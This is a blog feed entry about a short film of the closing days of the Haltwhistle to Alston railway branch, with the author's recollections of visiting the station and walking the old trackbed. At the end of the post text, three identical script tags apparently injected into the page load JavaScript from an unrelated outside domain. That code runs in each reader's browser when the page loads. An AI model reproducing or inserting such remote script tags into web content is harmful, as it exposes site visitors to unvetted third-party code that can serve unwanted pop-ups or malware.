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	<title>Where Worlds Collide &#187; Haltwhistle</title>
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		<title>Haltwhistle to Alston</title>
		<link>http://www.kalyr.co.uk/weblog/railways/transport/haltwhistle-to-alston/</link>
		<comments>http://www.kalyr.co.uk/weblog/railways/transport/haltwhistle-to-alston/#comments</comments>
		<pubDate>Tue, 31 May 2016 19:34:08 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Travel & Transport]]></category>
		<category><![CDATA[Haltwhistle]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=15931</guid>
		<description><![CDATA[The last days of the Haltwhistle to Alston branch, one of a handful of lines that managed to survve the 60s Beeching axe only to be closed in the mid-1970s. <a href="http://www.kalyr.co.uk/weblog/railways/transport/haltwhistle-to-alston/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
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<p>A short film of last days of the Haltwhistle to Alston branch, one of a handful of lines that managed to survve the 60s Beeching axe only to succumb to closure in the mid-1970s.</p>
<p>I visited Haltwhisle a couple of years ago. Though it&#8217;s no longer a junction, the station is still open on the cross-country line from Newcastle to Carlisle. The distinctive North Eastern Railway footbridge and the magnificent elevated signalbox shown at the beginning are still in use. I walked along the Alston branch trackbed as far as the viaduct across the Tyne shown early in the film, which is still standing.</p>
<p>The BR blue four-car DMUs that were always associated with the North-East of England are long gone now, like the Alston branch itself.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
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